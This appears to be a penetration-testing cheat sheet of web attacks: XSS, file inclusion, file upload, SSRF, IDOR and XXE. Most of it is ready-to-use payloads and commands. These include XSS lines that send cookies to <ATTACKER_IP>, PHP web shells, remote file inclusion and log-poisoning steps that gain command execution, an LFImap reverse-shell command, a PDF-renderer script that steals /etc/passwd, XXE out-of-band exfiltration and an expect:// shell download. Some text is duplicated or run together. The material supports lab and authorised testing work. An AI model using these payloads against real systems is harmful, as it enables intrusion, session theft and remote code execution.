# PowerShell Command Terminal# 1) Edit creds on line 14/usr/share/nishang/Antak-WebShell/antak.aspx
# PHP WebShellwget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.php
Code
NOTE: the first examples are “Hello World” but perform a match calculation that should result in 49 being shown on the page in the case there’s a WAF blocking “Hello World” strings
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There are two sides: source (frontend) and sink (backend).
REMEMBER: Viewing the Page Source (CTRL+U) or Inspecting Element (F12) are two separates things: respectively, one is the HTTP response (static site, scripts pre-execution) and the other is the final website (dynamically loaded, scripts post-execution)
Type
Description
Stored XSS (Persistent)
Stored in the backend… The most critical type of XSS, which occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g. posts or comments)
Reflected XSS (Non-Persistent)
Only passes through the backend… Occurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g. search result or error message)
DOM-based XSS
Never touches the backend Non-Persistent XSS type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags)
Breaking Context
Manual Payloads
Sometimes, certain payloads are not allowed
<script>alert(window.origin)</script><imgsrc=""onerror=alert(window.origin)><svg/onload=alert(window.origin)>// Polyglot Breaker
javascript:"/*\"/*`/*' /*</title></textarea>--></noscript></style></xmp>"></a><img src=x onerror=alert(window.origin)>//---#SetuplisteneronATTACKER_IPsudopython3-mhttp.server80// Remote script
<scriptsrc="http://<ATTACKER_IP>/script.js"></script>// Same idea but enumerate vuln fields
<scriptsrc="http://<ATTACKER_IP>/username"></script>// Exfil cookies
document.location='http://<ATTACKER_IP>/index.php?c='+document.cookie;
newImage().src='http://<ATTACKER_IP>/index.php?c='+document.cookie;
File Inclusion (FI) allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.
There are 2 types, which depend on the underlying vulnerable function:
Due to file permissions, these files should almost always exist and be accessible if a target is vulnerable to LFI:
Linux: /etc/passwd
Windows: C:\Windows\boot.ini
Generally, they will be 3-5 folder depths down from the root filesystem:
# without '/'../../../../etc/passwd
# with '/'/../../../../etc/passwd
# basic filter '../' bypass....//....//....//etc/passwd
..././
....\/# URL encoding: must encode entire string%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
# regex might require a specific string or extension for a folder or extension# the extension part can limit the files accessiblelanguages/.*php
# overflow character limit to evade extension filter# ONLY: PHP <5.3 versionsecho -n "non_existing_directory/../../../etc/passwd/"&&for i in {1..2048}; do echo -n "./"; done# null byte# ONLY: PHP <5.5 versions../../../../etc/passwd%00.php
URL Encoding
# Total URL Encoding via Pythonecho -n '<LFI_STRING>' | python3 -c "import sys; print(''.join('%{0:02x}'.format(ord(c)) for c in sys.stdin.read()))"
Finding Files
Typically, the backend server will not have debug messages enabled. In order to enumerate files (such as other *.php or config files in the same directory), fuzzing the web server and keeping all HTTP responses (e.g. codes 301, 302, 403, etc.) can show that those files or locations exist AND could be accessible via LFI (but not normal HTTP requests)
# Find *.php files that DO EXIST on the serverffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<TARGET>/FUZZ.php
If the found files can be accessed via LFI, but get executed instead of merely read, use a PHP filter like base64 to encode the file to read and prevent it from being executed:
# NOTE: .php get appended to `resource` so "<FILE>" is really "<FILE>.php"http://<TARGET>/<PAGE>?<PARAMETER>=php://filter/read=convert.base64-encode/resource=<FILE>
# View Page Source > Decode base64echo '<BASE64> | base64 -d'
# If the LFI is already know (e.g. via LFImap) this# can browse for all accessible config filesffuf -w <LFI_LIST>:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAMETER>=<LFI>FUZZ' -fs 0 -v
Execute Commands
If able, check that appropriate settings are enabled and the underlying function supports the command.
If able, check that appropriate settings are enabled and the underlying function supports the command. Sometimes, though not always, command execution is allowed.
# URL is the remote resourcehttp://<TARGET>/<PAGE>?<PARAMETER>=<URL>
# Create remote PHP web shell# NOTE: this only works for get and execute style functionsecho '<?php system($_GET["cmd"]); ?>' > shell.php
sudo python3 -m http.server 8080# Execute commands by calling back to ATTACK_IP and executing that filecurl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=<ATTACKER_IP>:<PORT>/shell.php?cmd=<COMMAND>'
Log Poisoning
Poisoning a file to gain execution can be done by PHPSESSION, which is the settings a user has selected for a webpage.
# Get PHPSESSION from F12 > Storage# NOTE: that file is stored on disk as:# /var/lib/php/sessions/sess_<PHPSESSION># Read the settings for the PHPSESSIONhttp://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>
# Let's see if we control the OPTIONhttp://<TARGET>/<PAGE>?<PARAMETER>=CONTROL
# Now read the valuehttp://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>
# Set OPTION to a PHP webshellcurl -sc cookies.txt 'http://<TARGET>/<PAGE>?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E'# Now execute commandscurl -sko- -b cookies.txt 'http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>&cmd=<COMMAND>'
If the code is include($_GET['page'] . ".php");, requesting /etc/passwd makes the server look for /etc/passwd.php, which doesn’t exist.
Solution: Pivot to reading the application’s source code using PHP wrappers. If you request php://filter/convert.base64-encode/resource=config, the server appends .php making it config.php. The wrapper Base64-encodes the PHP code instead of executing it, bypassing the extension filter entirely.
2. The str_replace Trap
Many developers try to fix LFI with str_replace("../", "", $input).
The bypass: If you send ....//, the filter finds the ../ in the middle and deletes it. What remains is the outer ../, which pieces itself back together after the filter runs.
Advanced Scanning
The LFI-Jhaddix list is a great scattergun; to explicitly test bypasses, use targeted SecLists:
# NOTE: filter out by response size since an HTTP response of 200 OK will always be receivedffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>
POST
# NOTE: filter out by response size since an HTTP response of 200 OK will always be receivedffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'FUZZ=value' -fs <SIZE>
LFImap
Automates exploitation of discovery, filter evasion, and RCE escalation (wrappers, log poisoning, etc.).
# Installgit clone https://github.com/hansmach1ne/LFImap.git && cd LFImap
python3 -m pip install -r requirements.txt
# Base Scan (Use '*' to mark the injection point)python3 lfimap.py -U 'http://<TARGET>/index.php?page=*'# Full Auto-Exploit (Tests all bypasses & attempts RCE)python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' -a
# Pop a Reverse Shell directly (if vulnerable)python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' --exploit --lhost <ATTACKER_IP> --lport <LPORT>
Nuclei
Best for discovering zero-days, CVEs, and blind out-of-band (OOB) inclusions across massive attack surfaces.
When system Go is broken or missing (HTB / online lab VMs)…
go: github.com/hahwul/dalfox/v2@latest (in github.com/hahwul/dalfox/v2@v2.12.0): go.mod:3: invalid go version '1.23.0': must match format 1.23
…Install a local Go and wire it into PATH:
wget https://go.dev/dl/go1.23.6.linux-amd64.tar.gz
mkdir -p ~/go_bin
tar -C ~/go_bin -xzf go1.23.6.linux-amd64.tar.gz
export PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH
echo -e '\nexport PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH' | tee -a ~/.bashrc ~/.zshrc
go version
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Update templates firstnuclei -ut
# Target a specific URL for all known LFI vectorsecho 'http://<TARGET>/index.php?page=test' | nuclei -tags lfi
# Fuzzing Mode (Uses Nuclei's DAST engine to mutate parameters)nuclei -u 'http://<TARGET>/' -dast -tags lfi
# Blind OOB LFI (Catch callbacks with interactsh automatically)nuclei -u 'http://<TARGET>/' -tags oast,lfi
Insecure file upload occurs when an application accepts file uploads without proper validation of type, content, or destination. Attackers can upload webshells, abuse allowed extensions or content types, or combine upload with XXE to read or execute code.
Process
Identify the web technologies used (e.g. PHP).
Brute-force a command page like index.<EXT> using /usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt.
Check for client- and server-side validation and filtering.
Intercept file submission with a web proxy and test modifications of:
Filename extensions in the request body
Content-Type headers
Disable client-side validation (e.g. via proxy or DevTools: delete or modify the validation functions).
Bypass server-side validation:
Fuzz file extensions (e.g. .php7, .phtml, or mixed case .pHP) via Intruder. Untick “URL Encoding” so the dot is not encoded.
Try double extensions such as .jpgFUZZ or FUZZ.jpg.
Use ffuf -od reqs with a minimal “Hello World” payload for the target tech to see which extension actually executes.
# Extension fuzzing# NOTE: this will upload the request; use a "Hello World" payload for the target tech (e.g. PHP)ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -od ffuf_ext_fuzzing -mr '<SUCCESS_REGEX>' -request-proto http -request req.txt
Magic bytes are the first bytes inside the file (not metadata or extension) that identify the file type. Prepending valid magic bytes can help bypass content checks while keeping executable content (e.g. PHP) after them.
SVG, PDF, Word, PowerPoint, and other formats that parse XML can execute or expose data via embedded XXE. If the upload is processed as XML, check Page Source for reflected data that may not be shown in the rendered page.
### ASPX (Microsoft IIS)# Command Shell# 1) Add ATTACKER_IP on line 59# 2) Remove unnecessary comments at beginning and end/usr/share/laudanum/aspx/shell.aspx
# PowerShell Command Terminal# 1) Edit creds on line 14/usr/share/nishang/Antak-WebShell/antak.aspx
# PHP WebShellwget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.php
Code
NOTE: the first examples are “Hello World” but perform a match calculation that should result in 49 being shown on the page in the case there’s a WAF blocking “Hello World” strings
SSRF forces the server to make HTTP (or other protocol) requests on the attacker’s behalf. The server becomes a proxy — useful for accessing internal services, cloud metadata endpoints, or local files.
Identification: Look for any parameter that fetches a remote resource — ?url=, ?image=, ?server=, ?dest=, PDF export features, webhooks, icon fetchers.
Variant
Description
Basic SSRF
Parameter takes a URL; redirect it to internal target
Blind SSRF
Server makes the request but returns no output — detect via out-of-band callback
SSRF → LFI
Server (or its PDF renderer) reads file:// URIs
SSRF → RCE
Chain into internal services (Redis, Elasticsearch, etc.)
Basic SSRF
Point the vulnerable parameter at an internal resource or metadata endpoint:
If the response gives nothing back, confirm the request fires via a callback:
# Start listenernc -lvnp 8080# Inject callback URL into the vulnerable parametercurl "http://<TARGET>/webhook?url=http://<ATTACKER_IP>:8080/ping"
Use Burp Collaborator or interactsh for DNS-based OOB confirmation.
SSRF → LFI via HTML Injection in PDF
When an app generates PDFs from user input using a headless browser (wkhtmltopdf, Puppeteer, Chrome headless), injecting JavaScript into the input causes the renderer to execute it. The script can read file:// URIs and exfiltrate content back to the attacker.
Identification: Submit a field and download the resulting PDF — if your input renders as HTML (not escaped), the renderer is likely vulnerable.
Inject into the vulnerable input field (e.g., a tracker or name field that ends up in the PDF):
while true; do nc -lvnp 8080; done# Into vulnerable field<script>
x=new XMLHttpRequest;
x.onload=function(){document.location='http://<ATTACKER_IP>:8080?c='+btoa(this.responseText)};
x.open('GET','file:///etc/passwd');
x.send();
</script>
Automate with curl
URL-encode the payload and POST it directly:
while true; do nc -lvnp 8080; donePAYLOAD='<script>x=new XMLHttpRequest;x.onload=function(){document.location="http://<ATTACKER_IP>:8080?c="+btoa(this.responseText)};x.open("GET","file:///<FILE>");x.send();</script>'ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))")curl 'http://<TARGET>/'\
-X POST \
-H 'Content-Type: application/x-www-form-urlencoded'\
--data-raw "insert=Track+Now&handle=${ENCODED}"
NOTE: Some PDF renderers block file:// access by default. If the payload fires but returns empty, try /proc/self/environ, /etc/hosts, or app config files as alternative targets.
This should return a HTTP Allow header that will demonstrate accepted HTTP verbs:
curl -X OPTIONS -i 'http://<TARGET>/*'
Then experiment with changing the request… like GET -> POST. If it’s an authentication request that uses only HTTP Headers, try also HEAD or OPTIONS.
curl -X POST "http://<TARGET>/index.php" -d "filename=test;id"
Create HTTP Verb list from common ones and response from OPTIONS
Occurs when an application exposes a direct reference to an internal implementation object (such as a database key or file path) in a URL or API parameter, allowing an attacker to manipulate that reference to access unauthorized data belonging to another user.
Basic Fuzzing
NOTE: don’t forget the cookie header if needed!
# Fuzz API using IDs 0-50, matching on HTTP 200 or "txt"ffuf -request-proto http -request request.txt -w <(seq 1 10) -mr <REGEX>
ffuf -u "http://<TARGET>/api/user/FUZZ" -w <(seq 0 50) -mr <REGEX>
Encoded Fuzzing
If the target encodes the ID (e.g. Base64 in the URL) but expects an MD5 hash for the actual file/object:
# Iterates 1-20, calculates Base64(ID) and MD5(ID), and downloads filefor i in {1..20}; do B64_ID=$(echo -n "$i" | base64 -w 0) MD5_ID=$(echo -n "$i" | md5sum | tr -d ' -') echo "Testing ID: $i | B64: $B64_ID | MD5: $MD5_ID"# -J uses the server Content-Disposition automatically curl -sJo- "http://<TARGET>/download.php?contract=$B64_ID"# NOTE: this is a manual method:# -H "Content-Disposition: attachment; filename=\"contract_$id_hashed.pdf\"" done
TRY placing &xxe; into different fields to see if TESTSTRING gets reflected back to the page.
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [<!ENTITY xxe "TESTSTRING">]>
<root><subtotal>&xxe;</subtotal><userid>&xxe;</userid></root>
Basic LFI via XXE
Use the php://filter to Base64-encode files before extraction. This prevents XML parsers from crashing when they hit characters like < or & inside the target PHP file.
NOTE: Replace <FILE>!
<!-- INJECT THIS INTO THE XML BODY --><!DOCTYPE email[
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=<FILE>">
]>
<root><email>&file;</email></root>
Decode locally:base64 -d <<< "PD9waHA..."
Advanced LFI
If the PHP wrapper is blocked, use CDATA to read raw files. Requires hosting a malicious DTD on your machine.
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 8000
NOTE: Replace <FILE> and <ATTACKER_IP>!
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE email [
<!ENTITY % begin "<![CDATA["><!ENTITY % file SYSTEM "file://<FLAG>">
<!ENTITY % end "]]>">
<!ENTITY % xxe SYSTEM "http://<ATTACKER_IP>:8000/xxe.dtd">
%xxe;
]>
If the server processes the XML but returns no output to your screen, force the server to send the file contents to your web server as a URL parameter. This sends the desired data/file to the ATTACKER_IP via an outbound HTTP request
NOTE: Replace <FILE> and <ATTACKER_IP>!
# XXE for reading filecat << 'EOF' > xxe.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=<FILE>">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://<ATTACKER_IP>:8000/?content=%file;'>">
EOF# Autodecoder for base64cat << 'EOF' > index.php
<?php
if(isset($_GET['content'])){
error_log("\n\n" . base64_decode($_GET['content']));
}
?>
EOFphp -S 0.0.0.0:8000
Note: The expect module is not enabled/installed by default on modern PHP servers, so this attack may not always work. This is why XXE is usually used to disclose sensitive local files and source code, which may reveal additional vulnerabilities or ways to gain code execution.
Note: We replaced all spaces in the above XML code with $IFS, to avoid breaking the XML syntax. Furthermore, many other characters like |, >, and { may break the code, so we should avoid using them.
NOTE: Replace and <ATTACKER_IP>!
<?xml version="1.0"?><!DOCTYPE email [
<!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'<ATTACKER_IP>/shell.php'">
]>
<root><name></name><tel></tel><email>&company;</email><message></message></root>